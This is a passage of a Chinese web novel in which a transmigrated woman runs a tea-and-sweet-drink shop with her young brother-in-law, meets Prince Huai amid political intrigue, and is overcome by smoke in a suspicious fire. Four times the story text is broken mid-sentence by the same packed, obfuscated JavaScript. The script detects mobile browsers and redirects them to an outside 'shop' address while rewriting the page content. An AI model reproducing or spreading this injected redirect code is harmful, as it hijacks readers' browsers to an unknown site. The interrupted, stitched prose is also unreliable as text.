“你还关心这个。”徐执节垂下眼眸，语中讥讽之意不言而喻。 “我还以为你满脑子都是那位王爷。” 哈？一丝慌乱感凭空而起，桔珏正要反驳，可这种荒缪之事又该从何说起？ 执节难道不知，淮王与她云泥之别…… 徐执节将她的反应看在眼里，面上闪过一丝狠戾。 早知如此，当日断不容那淮王…… 桔珏没有看到这一幕，她自顾将食盒打开，把菜食一个个端出来。 徐执节扫了一眼。 四菜一汤，倒是精致。只是那汤早已凉透，上面还漂浮着一层淡淡的猪油。那道鸭子倒是油润。 好在一旁的竹荪表面没有破损，茼蒿也是根茎完整，上面还有些许蒜末。可以看出，这些菜品都是事先挑出，而非吃剩下的。 徐执节面色稍缓。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418443|200793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但徐家家境不好，开店以后，手里的一点闲钱全都置办了茶糖货物，这等精致菜肴，她是和谁一同进食的？ 想到此处，徐执节拿筷子的手一顿，再好的珍馐都味同嚼蜡。 店铺内，烛火跃动，显然又是燃过头了。 趁着桔珏起身煎烛芯，徐执节偷瞄了一眼他这位嫂子。 昏黑之下，一举一动，也难掩天姿国色。徐执节垂眸。 大哥错了。 这番姿色，一个小小村落又怎么藏的住她？ “二弟！” 记忆力沉稳浑厚的男声响起，语气颇有些不放心，“你可要照顾好你嫂嫂！” “大哥！” 徐执节摸了摸被锤痛的肩膀，心知不好反驳，只囫囵应道，“人家女孩家的都注意名声，谁没婚嫁的，就一口一个嫂嫂称呼？” “少来。” 徐家大郎虽看起来是个武行面容，可徐执节心内清楚，自家大哥心细如发。自记事起，就没有一件事能瞒得过大哥的。 “大哥嘱托，我焉能反驳。”徐执节不情愿道。 见他应下，徐家大郎面上才如释重负。彼时还年幼的徐执节还不懂大哥这没头脑的话，只以为桔珏告状，大哥在为这女人出头。 真真是色令致昏！ 现在想起，大哥分明是在托孤！ 明明他才是血脉相连的人……徐执节深吸一口气。 “可是辣了？” 桔珏端来一杯凉茶，秀眉蹙起，含情的美眸，不论盯着谁看，都难以生出抗拒之心。 难怪大哥临走前，如此不放心了。 徐执节自嘲的扯了扯嘴角，轻叹一声。 “桔珏。” 他还从未这样称呼过自己。桔珏手中握着凉茶，却似乎又感受到了烛火的灼烧感。 她心中小鹿乱跳，不自觉摩挲了下手指。 “何事？” 桔珏尽量放轻声音。 “明日不用怕。”徐执节忽然说道，“我已打听过了，对面的酒楼是沈砚大人的产业。” “沈大人并非跟我们作对，不过是巧合而已。我们自管开店。天长日久的，自会见真章。桔珏你不用太过担忧。” 桔珏听着，奇怪地看了一眼徐执节。 沈大人？ 叫得这么亲切。小叔年少伶俐，可此番违心之论怎么说的出口？ 莫非是被什么人哄骗了不成？桔珏皱眉，正要细问间。 “淮王送的铺子，只好生照看着便罢，毕竟不是自己人。” “日后还不知道会如何。” 话里话外，并不看好铺子能开长久。桔珏心底一惊，无端想到县令公子和沈砚说的话来。 莫非……淮王有什么闪失？ “这玉簪竹荪卷不错。”徐执节态度和缓起来，轻声道，“还是你记挂着我。” “带了这饭回来。” 店铺内，红烛闪烁，对影两人，一片安详之气。 桔珏却听得心底发寒。 她抬眸细细瞧着，书生模样的少年，原本白静的面庞，另一侧却笼罩在阴影中，看不真切。 他用过饭了。 徐执节的生活习惯，桔珏再清除不过。半大少年饥饿状态下，风卷残云，那里会细嚼慢咽？ 更别提说起玉簪竹荪卷，张口就来。 可知…… 他是那酒楼的常客。 15. 第 15 章 次日，天还未亮，桔珏就在灶房生火、忙碌。 她一手抓起面粉，铺撒在案板上，一边将分好的糯米芥子搓圆。桔珏心知对面酒楼上新，第一日客人只怕不多，仍是做足了准备，将各色材料备好、码齐。 “桔珏。” 一道低沉的男声响起。 是徐执节。 桔珏抬头，看到他抱着半翁牛乳走来，额发间沁出了一层薄汗，两颊碎发被汗水打湿，粘黏在面庞上。 不知从何时起，眼前少年的青涩已经褪去，就连声线也逐渐发生变化。 徐执节，是她穿越后看到的第一个人。桔珏一直把他当成小辈看待，直到现在—— 她才惊觉，至始至终，自己都从未真正了解过他。 一股令人窒息的陌生感，在错乱的时空中，更加汹涌。 桔珏偏过头。 “看你，面粉都糊在脸上了。” 再熟悉不过的轻笑声，书生模样的少年勾起嘴角，俯身上前，抬手便要为其擦拭。 桔珏急忙避开。 动作迅速、彻底，几乎是不留情面。 徐执节的手停在了半空中。 桔珏低头，手下动作不停，温吞道，“徐执节……你把乳清都存起来了吗？” 案板上的糯米团，被揉搓成一个个小球。不等徐执节有所回答。 “乳清可不能浪费了，还有桶里凝结的奶块……不知夏天可怎么保存奶油才好。” “对了，现在是有冰窖的。”她自顾念叨着。 “桔珏。”徐执节开口打断。 “……嗯？” “等倒明年夏日，还不知是什么情况。……等会放炮仗时，莫要害怕，记得离远些。” 桔珏点头应是。 两人身份似乎对调了。 他这番语气口吻，听上去倒更像是长辈。 * 石街上，人影攒动，伴随着阵阵鞭炮声响。 “听书那可是从江南请来的茶博士，还带来了当地的什么茶，叫什么…” “碧涧云芽！” “诶？你们怎么站着不动？不是说好了要品茶么？”一位书生站在店铺门口，说话间不忘踩在红炮竹上，好添一添喜气。 谁知众人一阵哄笑，末了有人提醒道，“你走错啦！” “对面那才是品茗之地。” 书生挠头，看了一眼名为汀碧的铺子，这才发觉一旁小字写着糖水铺。 糖水铺？ 这铺子看上去窄□□仄，半新不旧的，可挂着两串燃尽的炮竹，分明是上新，怎怪得他认错？ “杨朱临岐而哭，阮籍穷途而返。古人尚且如此，我今日偶然入歧路，何足怪哉？”书生不想在同行人面前落下风，只梗着脖子驳道。 “好啊。朱杨哭的是人间大道，你如此妄议，我明日非要告诉先生不可！” 书生涨红了脸，“我，我原是要喝茶的，不过是改了主意，想去品尝这糖水罢了。难道夫子也管这个不成？” “碧涧云芽回味悠长，香气清雅甘醇。难道你放着上好的茗叶不品，偏要去巷末喝那掺了碎冰和蜜饯的甜水粥？”同行人一阵摇头，像是眼看着浪费大好机缘，满脸的不赞同。 “我就是想喝！”书生嘴硬，可鼻腔里淡淡的茶香十分特别。这气味并不霸道，细闻竟是混着兰花、梅花的香气，萦绕不绝。 书生虽不好此道，也知这是上好的佳品。似乎产自江南？ 心下不由得生出悔意，只等同行人劝说，推拉一番再去。 ——“你自去喝你的糖水罢。” 谁知那领首的公子听了许久，面有愠色，说道，“这茶若是进到你的嘴里，才是浪费了。” 他原是朱员外的幺儿，朱家大儿子早亡，全家对他看得如眼珠子一般，可他却行事温和待人有礼，唯独酷爱茶道。此番听到书生执拗不改，心生不悦。 同行人忙打着圆场，将书生挤在人群外面。 “难道天下间的好茶，只单卖他们一家不成？” 书生猛吸了一口茶香，将心中的悔意压下，嘟囔道，“那小铺子，幡上分明也挂着茶饮。” “我偏要去看看不可！” 店铺中。 桔珏斜倚在柜台上，百无聊赖。 虽知那酒楼上新，只怕今日没有什么人来，却不想如此冷清。那水壶都热了至少三次，愣是没有一个客人前来。 “掌柜的！” 桔珏面上一喜，正要起身待客，便听得那人又道，“来一壶碧涧云芽！” “咦？” 来人是一个书生打扮的年轻男子，面容清瘦，看起来像是木棍成了精一般。 “你就是这里的茶博士？” 那书生看起来有些惊诧，对着桔珏上下打量一番，面带疑惑。 不怨得他如此发问，此间茶博士需要长时间站着，提壶、巡座、冲茶，对体力要求高，多为青壮年男子。 “我们有其他茶饮，你可以看看。”桔珏指了指铺面挂的幡，又道，“你平日喜欢喝什么茶？” “茶底有优选的红茶、黑茶，都是十年以上的老货，采自江——” “有碧涧云芽吗？”书生抬手打断，待看清桔珏的面容后，眼中泛起一股惊叹，啧啧称奇道，“娘子不在家做些针织纺线的活计，怎得出来抛头露面，你夫婿那？倒不怕累坏了你。” 开业后，帷帽到底不方便，桔珏早起便梳上了已婚夫人的发髻。 “我们的招牌是紫苏饮，客官要来一杯吗？”看在第一个客人的份上，桔珏恍若未闻。 “奇也怪哉！此前问话，娘子不回便罢，却反过来问我，真不知答是不答。” “……” 书生挺起胸膛，摇头叹息道，“所谓佳茗，在柜一方……寻茶不得，遇美空望，为之奈何！” 桔珏正要打断吟唱，却听得身侧有人道，“你走错了。” 侧身望去，便看到徐执节手指向对面。 “碧涧云芽是对面家的。” 书生面上一红，见少年面色阴沉，自觉轻浮不妥，好在桔珏解围，点了招牌的紫苏饮便去了客桌。 桔珏将那吊钱收好，打开账本。 ——“这种生意你也做？” 徐执节忍不住问道。 刚把银两记到账上，便听到徐执节带着怒气，听起来像是讥讽一般。 “徐执节！” 桔珏回身怒视。 伴随着对面酒楼的吆喝声，怒气更盛了。桔珏几乎是咬着牙，一个字一个字念他的名字。 “你不帮忙留客也就罢了，怎得还推人去对面呢？” 话音刚落，就看到徐执节负手立在一侧，唇角轻轻勾起。 竟是笑了。 桔珏双拳紧握，站在原地，眉毛皱起，肌肉拉扯下，压得眼睛似乎失去了焦距，就这样直直盯着徐执节。 若是熟悉她的人便知，这是桔珏怒极的征兆。 徐执节却松了一口气。 她肯动怒便好。 不知怎地，自上次争执后，他心中总觉得两人生疏不少，却又不好开口。 如今看到她肯发怒，竟觉得又亲密起来。 孟子有云，人少则慕父母，知好色则慕少艾。林桔珏自幼长在徐家，徐执节不知她使了什么手段，竟令一向稳重的兄长，对她唯命是从。后来再长大一些，徐执节便明白了…… 她不需要做什么。 只需站在那里，顾盼生姿间，自会令人酥倒。 可这样以色侍人，引来的究竟是狼是虎？可惜桔珏看不明白…… 无妨。 他安慰自己。 看在已故兄长的情面上，他也会照看这位嫂嫂，不让她被人欺辱，甚至……为她挑选合适的夫婿，送她风光大嫁…… 徐执节斜倚着，唇角带着未褪的笑。 明晃晃的挑衅。 “你什么意思！”桔珏忍无可忍，将账本一扔，余光看见柜台上的算盘，顺势一拿，重重砸在徐执节胸膛上。 “咳！咳……” 她这一下未留余地，徐执节只觉胸口犹如重锤砸下，忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418444|200793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住咳了几声。 见她真的恼了，忙捂着胸口告罪，却见桔珏已走向后厨走去，便一路跟着解释，“我们铺子饮品自然不俗，天长日久地，自会有客人光顾。那书生言语颠三倒四，我们难道稀罕不成？” “你调的茶饮清雅悠长，明日就会有一百个，一千个客人光顾，到时候铺子声明远扬，只怕要开第二家……” 桔珏并未回应。 过分的安慰本身就是一种冒犯。 更何况，桔珏隐隐觉得，徐执节并不认为店铺能看得长久。 调紫苏饮的全程，徐执节都在后面跟着，滔滔不绝。末了，似乎是觉得没甚么意思，便蔫了下来。只不时来上一句，“是我的不是。” “你可不要生气了吧。” 没来由的，桔珏想起当初，因找不见自己而哭泣的少年，心下一软，可眼前得先给客人上茶才是。 店铺内，桔珏端着木托盘走上前。 “您请用。” 桔珏将紫苏饮放在桌上。 “诶？”书生一愣，指着汝窑盅问道，“这是何物？” 瓷具内，盛着绵密细腻的奶白色，表面透着温润的乳光，细嗅之下，充满了乳脂芳香，又混着紫苏特有的清爽，十分独特。 “这是盖乳，皆因热汤的缘故，盖乳易散，为了最好的口感，便当下为客官加上。” 那茶汤澄澈芳香，由紫到橙，融成了雾感十足的紫粉色。等到盖乳缓缓浇下，雪白奶霜便浮在紫雾茶汤之上，层次分明。 饮品不凡，书生却还要挑刺，“花里胡哨，这也不过……” 抬眼看到那美若天仙的女子，身后跟着一位低气压煞星，只好将多余的话吞进肚里。 书生拿起茶盏。 这女子做活就是精细。 小小的茶饮也做的赏心悦目，即便味道不行，也便无妨了。 盖乳带着茶汤，在舌间滚了一遭。 书生一顿，惊为天人。 这盖乳绵密柔滑，像云朵在舌间化开，淡淡的咸香中和了那股甜腻，醇厚却不厚重。紫苏清冽回甘，带着草本独特的清爽香气，揉着红茶的芬芳，让人立马想再尝第二盏。 “这红茶怎得如此清甘，这是从何而来？” “亏你还是本地人，怎——” 桔珏一个眼神，便让徐执节住了嘴。 “客官好舌头。” “这是本地特产的紫苏膏，每年芒种到大暑，是紫苏长的最嫩最香的时候，家家户户都开始采叶熬膏。其中的草本甘香，便是从此而来了。” 徐执节：…… 什么读书人！点单的时候不识字吗？紫苏饮没有紫苏，还叫紫苏饮么！！ 桔珏你在夸他什么？！！ “原来如此。”书生兴致一起，侃侃而谈道，“我确实不是本地人，倒是见笑了。” “我是京都人。” 看着她身后那个煞星，无缘故地，书生补上一句。 “哦？您是来徐州拜亲走友吗？” “我是来拜庙的。” 看桔珏似乎是怔住了，心下得意，夸口道，“如今朝堂之上，奸佞当道，朝纲不稳。我一介书生，手无寸铁，却有一腔赤胆忠心，还天下一个太平……” “兄台如此大志，非登阁拜相不可。” 徐执节佯做佩服，又好奇道，“只是科举近在眼前，怎么来到此地？” 一番话说得书生满面通红，胡乱反驳一通。 桔珏没有再听进去了。 拜庙。 “他们这是在哭庙。”桔珏脑海中忽然想起刘怀瑾的话，知道其中关窍，非比寻常。 当地人哭庙做势也就罢了，可京城的学子怎得也来了？ 桔珏心慌的不行。 王爷与她并无直接干系，可沈砚显然不这样认为。瞧他那日的话头，显然是认为自己背靠淮王，若是刘怀瑾倒了…… 桔珏不敢再想。 她深吸一口气，胡乱拨动手里的算盘珠子。 王爷。 得赶紧告诉他才行。 16. 第 16 章 刘怀瑾终究没有出现。 桔珏坐在房内，盯着眼前的账本发愁。 今日的营生实在不好，即便算上散客，以及书生临走打包的饮品，满打满算，也只卖出了五杯。 接连几日，都是如此。 傍晚时分，又是一番叹息声。 “闭店罢。”桔珏轻声道。 看着眼前愁眉紧蹙的人儿，香腮带忧，唇颊边上，带着一抹苍白。 “别担心。” 即便知道店铺开不长久，徐执节还是违心地劝慰。 “嗯。”桔珏应声，可愁绪丝毫不减。 不知自何时起，桔珏不再行动如弱柳扶风，而是身背挺直，骨肉匀婷，一改往日的娇弱之态。 也许是前日里，被那算盘砸狠了的缘故，再见到这副怜弱的模样，徐执节心狠狠一颤。 “咳……” 徐执节偏过头，向店门口走去，“你不要太过忧心了，做生意不就是这样么……” 桔珏撑脑袋听着。 可说了许久，也是反反复复，让她不要再担心了。 桔珏忽觉好笑，唇角微微勾起。 她素是个不会劝慰人的，宽解排难时，也只是反复如此，重复着简单的话。 她与这少年不过名义上的亲缘，可此番情谊却是难得。想到此处，眼神不觉柔和下来。 朦胧的烛火中，周身仿佛揉进了一团光晕。 绿衣素面，就这样斜倚在柜台上。不盈一握的腰身，仿佛水蛇一般，看起来简直是话本里，能蛊惑人心的精怪。 徐执节耳尖发红。 谁知一恍神，门板猛然卡入，却忘了及时收回手指。 “你没事吧？” 看他眉毛乱跳的样子，想必是疼得狠了，却因少年意气，绷紧下颌，强忍着没叫出声来。 “你年岁见长了，怎么做事还是毛手毛脚的。” 桔珏嗔怪一番。起身后，拉开最下层的抽屉，翻找一阵，拿出瓶红花油来。 可徐执节却是躲来躲去，偏是不让她瞧。 怎么扭扭捏捏的？ 桔珏蹙眉，一把拉过他的袖子，翻来他的右手，不由得倒吸一口凉气。 那食指白皙匀称，却紫得吓人，指甲几乎是要翻出来了，红得不行，细看之下，竟藏着大量的瘀血。 “夹得厉害了，还疼吗？” 说话间，鼻息喷吐，徐执节并未听清全貌，只觉得那精怪，呵气如兰。掌内，伴着女子的体温，热乎乎缠上来。 徐执节手指几乎要蜷缩起来。 “没事没事。” 他连连否认，心脏几乎要跳出胸膛。 她显然不信。 不知是不是痛疯了，徐执节只觉得，被注视的食指处，传来密密麻麻的灼烧感。 一直蔓延到下半身。 “这只是看上去吓人，其实一点都不疼。”徐执节忽然抽回手。 “是吗？” 桔珏面露奇怪，却也不再多想。念他右手受伤不便，就要将红花油拧开。 “我自己——” “王爷！” 话还未毕，面前女子忽然欣喜出声。 眉眼弯弯，言笑晏晏。不顾他受了伤，只将那瓶红花油胡乱塞到他怀里，向身后奔了过去。 她的烦忧…… 徐执节僵硬地转身，看到桔珏飞扬的衣角，然后，扑将到了那刘怀瑾身边。 是因为淮王。 “王爷。”徐执节行了一礼。 刘怀瑾并未瞧他一眼，只垂眸看着绿衣女子，周身气场冷得像寒冰。 “怎么了？”桔珏被盯得奇怪，抬手摸了摸鬓发。葱白的手指滑过面颊，滑到额发处。 并未有一丝散乱啊。 桔珏心里装事，恨不得马上告诉淮王才好，省得日后牵连自身。 那日沈砚话里话外，把她视为淮王的相好，却不顾脸面如此针对。再加上这几日遇到的事情，桔珏心内不安，总觉得有大事发生。 “王爷——” 桔珏正要开口，余光瞥见徐执节，便要支开他，“徐执节，你去上茶罢。” “王爷也好尝尝。” 徐执节并未回应，只站在原地，陷入一团阴影中，看不出具体神色。 他定是恼了。 桔珏懊悔。想到他手脚不便，自己一时情急，竟忘了这茬。 “小叔行动不便，还是我去罢。王爷稍等片刻。” 桔珏被他盯得颇有些不自在，偏过头，就要向灶房走去。 谁知肩头却被一只大手牢牢锁住。 嗯？ 桔珏面露诧异。 抬头望去，却看到刘怀瑾似笑非笑，面色却阴沉得能滴出水来。 “不必了，本王不是来品茶的。” 温香软玉在侧，怀中的女子唇齿微张，看起来一片无辜。 刘怀瑾不自觉用力。 桔珏自然感受到了，正要抬手推开，转念间，却想到徐执节此前是酒楼的常客，不知是否跟沈砚有所交集，便顺势抵在他的胸膛。 淮王这番异动，许是有话要说。 这落在徐执节的视角里，便是两人旁若无人，情从四起…… 郎情妾意—— 徐执节猛然攥紧手指。 指尖瞬时传来刺骨的痛意，徐执节缓缓松开右手，面无表情道，“那你们慢些聊。” 店铺中，烛火摇曳。 待人走远，刘怀瑾依旧维持着原本的动作。 “王爷，坐下说罢。” 刘怀瑾置若罔闻，甚至凑得更近了些，俯身耳语，“你的故旧，还没清理赶紧么？” 低沉的声音顺着耳道，传来一阵酥痒感。 桔珏忙侧身躲开。 刘怀瑾轻哼一声，正要发火之际，就看到桔珏眨巴着杏眼，忽得点点头，“对对！” 像极了一只乖顺的兔子。 然后竹筒倒豆子般，“就是故旧！记得上次灶房里的人吗？他可是县令的公子，说你……” “说你要出事。”桔珏委婉道。 …… 还以为是什么。 刘怀瑾听罢，嗤笑一声。 见他不信，桔珏有些着急，补充道，“还有沈砚，就是县令身边的录事。” “他也说你要出事。原话是什么，哦，他说京城的风来得快，去得也快。一个是意外，那两个，三个呢？难不成都是意外不成？” 讲到激动处，不免动手比划起来，加上一天忙碌下来，衣襟处难免有些松散。 顺着那纤长的脖颈，可以清晰窥见内里的风景。 刘怀瑾不动声色，“第三个是谁？” “……嗯？” 第三个自然是徐执节了。可桔珏不愿将他说出去，本想糊弄过便罢，却被抓到话中纰漏。一时间，有些慌了神。 淮王眉眼凌厉，面无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418445|200793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表情下，唇线蹦得极紧，看起来极不容情。 “一个，两个……”刘怀瑾倾身上前，抬手挑起她的一缕发丝，语意不明道，“还有第三个，都是你的故旧么？” 什么？ 桔珏呆愣了一瞬，诺诺道，“……不是。” 不对，他这是什么问题？桔珏忽得有些生气。 淮王并不把她的话当回事。她近日的观察、夜里的烦忧，甚至是隐隐的担心，都被他三言两语打发、轻视。 桔珏心生一股愤怒，抬手便要推开。 淮王身形并未移动分毫。 反倒是她，在力的作用下，被倒推着抵在门板处。 刘怀瑾步步紧逼，神色晦暗不明。 几番动作下，绿衣女子鬓发散乱，竹簪斜插着，几近掉落。 夜里的烛火，映衬得面容娇媚，近乎要他好奇起，床笫之上，又是何种情态？ 不过一个村妇，就要强要了又能如何。 省得她四处惹火。 把她藏起来。刘怀瑾余光撇见门板上的血迹，妒意近乎要将他吞噬。 将她藏起来。 藏到他的府邸，供他玩乐。 ——“那书生呢？” 怯声声的音调响起，刘怀瑾几乎没有听清。 “那日你说有人作势哭庙，目的是掀起民意，你可知，近日也有京城的学子到此，参与其中？” 刘怀瑾动作一顿。 他倒是小瞧她了。此间涉险，虽与桔珏言说过些许微末，不过是为她安心收下铺子罢了。一个不知底细的村妇，能帮他做什么？ 现下想来倒是不妥。 刘怀瑾后退一步。京城波谲云诡，他行事一向谨慎，此时听到桔珏所言，不免心中起疑。 她背后是谁？ 当地知府？阁老？又或是革新一派？ 须臾间，刘怀瑾思绪几变，面上却不显露分毫，“此间事了，你可愿意做本王的人？” 什么？ 桔珏心绪烦乱，想质问他怎么开的出这种玩笑，却一头撞进幽暗的眸子中。 “危急之际，不赶紧解决眼前这些事，怎么还有心思考虑情爱？” 桔珏侧过头，支吾起来。 刘怀瑾抵住门板，将她圈在自己怀中，眼眸微皱。 他没有时间了。 昏暗的环境中，随着桔珏话落，柜台侧边的门帘似乎被风吹起，复又恢复平静。 刘怀瑾将这些看在眼里。 他没有时间了，左手抬起桔珏的下巴，用一种近乎诱骗的语气，重复道，“无妨。你只需要告诉本王。” “等此间事了，你是否愿——” 门外一阵躁动。 一阵急促的打更声响起，驱散了店铺内的旖旎气氛。 “什么回事？”桔珏暗中松了一口气。 门外，响起一阵尖锐的人声。 “走水了！！” 桔珏立时急了，见刘怀瑾还要缠着问话，可此时嘈杂声四起，哪里还是说话的时候？ 此间虽不是盛夏，可长街多是食肆，柴火看管不严，难免出事。桔珏拿出钥匙开门，可心里总觉得不对。 咔哒—— 锁开了。 傍晚间，正是人少的时候，怎么外面有这么多脚步声。福至心灵，桔珏忽然像被什么击中。 “别动。” “不对。” 两人几乎是同时出声。 17. 第 17 章 “不对——” 听到桔珏的话，刘怀瑾有些惊讶，眼中滑过一丝欣赏。 门外的脚步声愈来愈近。 这些人果然来送死了。 刘怀瑾眸色一沉。他的计划本万无一失，却还是沉声嘱咐，“待在这里，谁来都不要开门。” 桔珏下意识点了点头。 她心里慌得厉害，只觉得这关怕是不好过。 为了自保，桔珏自穿来后就经常锻炼，自持一身散打功夫尚可应对。上次街上遇险，虽不至丧命，可若不是刘怀瑾出手及时，那柄扎进肩胛骨的刀，也足以让她重伤难愈。 创口一旦感染，可是致命的。 门外的打更声、凌厉急促的人声，全混杂在一起，穿过木板间隙，回荡在耳边。桔珏听得心惊肉跳。 她隐约觉出，自己早已身不由己，被动卷入了王爷与地方的交锋之中。 “你干什么？” 危急关头，桔珏竟看到刘怀瑾抽出门板，竟要向外走去。 这一吓可非同小可。 桔珏指尖冰凉，死命拽住他的衣袖，声音发紧道，“你疯了！” “别怕，我出去看看。” 桔珏自然不信刘怀瑾这番哄人的胡话，偏刘怀瑾还在继续。 “出去后你把门锁死，找个隐蔽的地方躲起来，任谁来了都不要出声，等到天一亮再做打算。” “若是没有我的消息，就上京去另做个买卖，万不可留在此地。”刘怀瑾不知从哪里摸出一枚玉佩，塞在桔珏手里。 这番话，字字都透露着不详。 桔珏攥着那枚冰凉的玉佩，强压下慌乱，勉强找出一丝理智来。 “告诉我。” 刘怀瑾感受到身侧人的拉扯，本想安抚几句，却见眼前这素来娇柔的女子，目光异常坚定，面上还泄出一丝不易察觉的愤怒。 “至少告诉我。” “若你真有遭不测，我去找谁报仇？” 清明刚过的寒夜，刘怀瑾却感觉到一股暖意。 他喉结微动，终究没有回答。 “吱呀——” 门板被缓缓移除。 淮王神情复杂回望了一眼，接着便消失在夜色里。 桔珏一时怔在原地。 “走水了，走水了——” 尖锐的声音忽然炸开。 桔珏手一哆嗦，迅速将木板放回原位，利落上锁。 她记着刘怀瑾的叮嘱，任凭外间如何呼喊，只死死攥紧手里的玉佩和钥匙。想到灶房柴薪的空隙可躲，便向后院走去。 院内一片漆黑，伸手不见五指。 桔珏凭借记忆，摸黑来到后厨。院外的人声似乎止了片息，复又响起来。 真是一群蠢物。 号了这半晌，却没有一丝—— ……烟味？ “咳咳。”一股烧焦的刺鼻气味传来，桔珏止不住呛咳出声。 茶肆本就日日烧水，柴火堆积得多。她原想着灶房角落隐蔽，就算脏些，也不易被人发现。 可灶房内火光冲天。 她防着清明下雨发潮，早将柴火尽数搬进室内。柴火本就干燥，此时在屋内燃起，不过片刻，火势便已汹涌。 难道真是走水了？ 浓烟滚滚，呛得人睁不开眼。桔珏平日烧的都是徐执节从后山拉来的，本就烟大…… 遭了！ 徐执节还在此地。 桔珏慌忙从怀中摸出一方帕子，在瓮中浸湿。仓皇中，袖中的玉佩不慎滑落，沉到底部。 来不及多想，桔珏将帕子粗略一绞，掩在口鼻处，转身便要去寻小叔。 今日的烟怎得如此呛人？还带着一股子说不清的霉味。还未来得及多想，才迈出几步，便是一阵天旋地转。 桔珏浑身发软，几乎要栽倒在地。 只好扶着墙，勉强支撑住身体，可脑袋却昏沉得厉害，稍一晃动，便觉得两眼发黑，再也挪不动半步。 这是……怎么回事？ 火光摇曳中，一身绿色衣裙几乎被映得橙红，窈丽的人影倚在墙上，慢慢蜷缩起来。 怎么办…… 意识逐渐模糊，桔珏心有所感，只怕一遭要魂归地府，再无转机。 她……还能再穿回现代吗？这样想着，手中的帕子不期落在地上。 恍惚间，身边的青砖瓦砾，仿佛成了光滑的大理石，白色墙壁上，也亮起了她最爱的暖色灯光。 眼皮沉得抬不起来…… 意识昏迷间，一个黑色人影悄然靠近。 奇怪…… 桔珏迷迷糊糊，歪着脑袋。 黑白无常，不应该是成对出现的么？ “桔珏？” 一道声音从天边响起，又好似近在眼前。桔珏努力睁开眼睛，好求这无常放过自己，不要勾走自己的魂魄。 可嗓子已然哑到极致，哪里能发的出声音？就连眼皮，也几乎睁不开了。 “桔珏？” 啊……肩膀被人环起摇晃，脑子晕成一团浆糊。好疼……桔珏几乎要叫出声来。 等等……疼？ 死人怎么会知晓疼痛。 桔珏想到此处，便借着那股摇晃的力道，拼命睁开眼睛。 “王爷？” 桔珏模糊认出一个人影。 身形清瘦，却不显孱弱，肩线利落挺直，隔着一层朦胧的光晕，轮廓清雅又得体。长发高高束起，再往下便是有些精致的眉眼。 只一眼，便觉得极为好看。 冷空气进入鼻腔，强势驱散了些许迷惘，可理智依旧没有回归。 桔珏任由那人抱着自己。 “你认得出我是谁吗？” “……认得。” 桔珏勉强说，“你是……白无常。” “……” 徐执节深吸一口气，快步将她带到房内，轻轻置放在床榻之上。 林桔珏不算轻。 只这三两步间，徐执节便有些微喘。可向榻上扫去，她却是呼吸急促，胸口轻轻起伏，面色潮红。 倒像是她在出力一般。 她意识不清，他该去拿出药来嗅闻便可，然他心底止不住升起一股怨气来。 “睁开眼。” 他态度恶劣，用一种命令的口吻问道，“你看看我是谁？” 他想好了。 若是她认出自己来，他便拿出解药；若是认不出……认不出……徐执节一时间却也想不出什么。可恶，即便是她认不出自己，竟也毫无办法。 徐执节面色阴沉。 桔珏对此全然不知，只觉得好似躺在云里，云朵还泛着一股皂荚香气。 落在徐执节眼里。 长发就这样散乱铺陈，几缕湿法黏在脖颈间，随着呼吸如海藻一般起伏。衣带松垮，沾着灰尘，整个人凌乱不堪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418446|200793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，偏偏眉目姝丽，难掩风流之态。 雾蒙蒙，带着水汽的眼眸，像是哭过一般。 …… 徐执节转身去寻了药。 可正要递至那人鼻间时，却堪堪止住了。 “你识得我是么？”他不死心。 嗯？ 一双水雾含情的眼睛，泛起纯然无措来。 她神志混沌，只怔怔望着眼前人，连呼吸都轻了几分。 “对不起……” 桔珏忽然哭出声来。 “你，你怎么了？”徐执节一怔，声音不自觉放轻。 桔珏更委屈了。 她只是不答。那细细的，幽幽的抽噎声，几乎要散在空气中。 榻上人一身力道尽数卸去，整个人软得像是被春水浸湿的柳絮。 徐执节将人扶起，看她哽咽流泪之态，早将适才赌气的话抛在脑后。见右手受伤不便，随即用齿衔住白瓷瓶口，略一用力，便将其打开。 “你别动，只闻一下就大好了。” 